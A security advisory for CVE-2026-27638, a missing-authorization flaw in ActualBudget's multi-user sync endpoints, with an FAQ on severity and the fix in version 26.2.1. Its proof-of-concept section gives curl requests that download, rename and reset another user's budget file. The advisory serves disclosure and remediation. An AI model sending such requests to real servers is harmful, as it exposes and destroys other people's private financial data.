CVE-2026-27638: ActualBudget missing authorization in sync endpoints allows cross-user budget file access in multi-user mode
Actual is a local-first personal finance tool. Prior to version 26.2.1, in multi-user mode (OpenID), the sync API endpoints (/sync/) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID. Version 26.2.1 patches the issue.
Other sources
In multi-user mode (OpenID), the sync API endpoints (/sync/) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID.
Affected Code
File: packages/sync-server/src/app-sync.ts
The validateSessionMiddleware on line 31 confirms the user is authenticated, but individual endpoints only check that the file exists (via verifyFileExists), never that the requesting user owns or has access to the file.
Compare with POST /sync/delete-user-file (lines 394-430) which correctly checks: js const isOwner = file.owner === userId; const isServerAdmin = isAdmin(userId); if (!isOwner && !isServerAdmin) { ... }
This check is missing from all other endpoints.
Affected Endpoints
- GET /sync/download-user-file - download any budget file - POST /sync/upload-user-file - overwrite any budget file - POST /sync/sync - read/write sync messages of any file - POST /sync/user-get-key - read encryption key info - POST /sync/user-create-key - change encryption key - POST /sync/reset-user-file - reset sync state - POST /sync/update-user-filename - rename file - GET /sync/get-user-file-info - read file metadata
PoC
Setup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId abc-123.
Bob downloads Alice's budget: bash curl -X GET 'https://actual.example.com/sync/download-user-file' \ -H 'X-Actual-Token: <bob-session-token>' \ -H 'X-Actual-File-Id: abc-123' \ -o stolen-budget.blob
Bob reads Alice's file metadata: bash curl -X GET 'https://actual.example.com/sync/get-user-file-info' \ -H 'X-Actual-Token: <bob-session-token>' \ -H 'X-Actual-File-Id: abc-123'
Bob renames Alice's budget: bash curl -X POST 'https://actual.example.com/sync/update-user-filename' \ -H 'X-Actual-Token: <bob-session-token>' \ -H 'Content-Type: application/json' \ -d '{"fileId": "abc-123", "name": "pwned"}'
Bob resets Alice's sync state (destructive): bash curl -X POST 'https://actual.example.com/sync/reset-user-file' \ -H 'X-Actual-Token: <bob-session-token>' \ -H 'Content-Type: application/json' \ -d '{"fileId": "abc-123"}'
File IDs can be discovered by admin users via GET /sync/list-user-files (admins see all files), through useraccess sharing, or by guessing.
Impact
In multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.
— GitHub
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-27638?
CVE-2026-27638 has been categorized as a high severity vulnerability due to unauthorized access to cross-user budget files.
How do I fix CVE-2026-27638?
To remediate CVE-2026-27638, upgrade Actual to version 26.2.1 or later.
Who is affected by CVE-2026-27638?
Users of ActualBudget versions prior to 26.2.1 in multi-user mode are affected by CVE-2026-27638.
What type of vulnerability is CVE-2026-27638?
CVE-2026-27638 is an authentication bypass vulnerability that allows unauthorized access to user budget files.
What is the impact of CVE-2026-27638 on users?
The impact of CVE-2026-27638 is that unauthorized users can access other users' budget data in the application.